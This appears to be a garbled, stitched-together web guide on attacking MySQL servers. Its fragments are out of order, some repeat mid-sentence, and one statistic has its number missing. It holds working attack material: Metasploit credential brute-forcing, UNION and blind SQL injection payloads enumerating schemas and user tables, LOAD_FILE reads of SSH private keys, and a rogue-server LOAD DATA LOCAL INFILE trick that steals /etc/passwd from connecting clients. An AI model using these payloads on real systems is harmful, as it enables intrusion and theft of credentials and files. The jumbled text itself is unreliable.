: Bind the MySQL service strictly to localhost ( 127.0.0.1 ) within my.cnf unless remote access is explicitly required. Use firewall profiles to restrict access to trusted source IPs.
Your fake server sends a LOAD DATA LOCAL INFILE request during handshake. Vulnerable clients (e.g., old PHP mysqli with allow_local_infile=ON , MySQL Workbench, or outdated connectors) will send back any file the client user can read.
Try these credentials to see if you can gain unauthorized access to the database.
-- Read SSH keys (if MySQL running as root — rare but possible) SELECT LOAD_FILE('/root/.ssh/id_rsa');
Use prepared statements in your application layer to completely eliminate SQL injection vectors. mysql hacktricks verified
This comprehensive guide compiles verified penetration testing methodologies, enumeration tactics, and exploitation vectors for MySQL environments, aligned with industry-standard HackTricks methodologies. 1. Initial Reconnaissance and Port Scanning
# Confirm syslog is NOT enabled grep -r syslog /etc/mysql # Should return no results
| Query | What it does | |---|---| | SELECT user(); | Current DB user | | SELECT database(); | Connected database name | | SELECT version(); | MySQL version | | SELECT @@version_comment; | Version details | | SELECT @@datadir; | Data directory path | | SELECT @@plugin_dir; | Plugin directory location | | SELECT @@basedir; | Base installation path | | SELECT @@hostname; | Host system name | | SELECT @@tmpdir; | Temporary directory | | SELECT @@secure_file_priv; | File‑operation restrictions | | SELECT @@general_log_file; | General log location | | SELECT @@slow_query_log_file; | Slow query log location |
use auxiliary/scanner/mysql/mysql_login set RHOSTS set USER_FILE /path/to/users.txt set PASS_FILE /path/to/passwords.txt run Use code with caution. 3. Post-Authentication Enumeration : Bind the MySQL service strictly to localhost ( 127
According to Rapid7's research, more than of identified MySQL servers were found not to enforce host‑based access controls. Among those, thousands of 64‑bit Ubuntu servers remain unpatched and fully vulnerable.
If permitted, use LOAD_FILE() to read sensitive files from the server.
Activating the CreateSession option allows the penetration tester to obtain an interactive MySQL client session immediately upon a successful login. 3. Post-Exploitation and Privilege Escalation
UNION SELECT 1,2,3,4,version(),6-- - UNION SELECT 1,2,schema_name,4 FROM information_schema.schemata-- - UNION SELECT 1,2,table_name,4 FROM information_schema.tables WHERE table_schema='target_db'-- - UNION SELECT 1,2,column_name,4 FROM information_schema.columns WHERE table_name='users'-- - Use code with caution. Blind and Time-Based Injections Vulnerable clients (e
' AND (SELECT COUNT(*) FROM users) > 0 --
-- Your malicious server sends: execute_command_request("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS TERMINATED BY '\n';")
The difference between a script kiddie and a professional is verification. The mysql hacktricks verified approach means you do not blindly run commands—you understand the context, confirm the version, test the boundary, and then exploit with precision.
